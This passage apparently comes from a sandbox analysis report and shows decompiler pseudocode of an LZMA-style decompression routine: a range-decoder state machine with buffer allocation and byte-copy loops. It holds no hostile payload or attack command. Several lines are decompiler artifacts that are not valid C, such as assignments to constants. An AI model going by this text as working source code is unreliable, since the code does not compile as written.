					switch( *((intOrPtr*)(_t535 * 4 +  &M00406A77))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4)); // executed
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8)); // executed
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
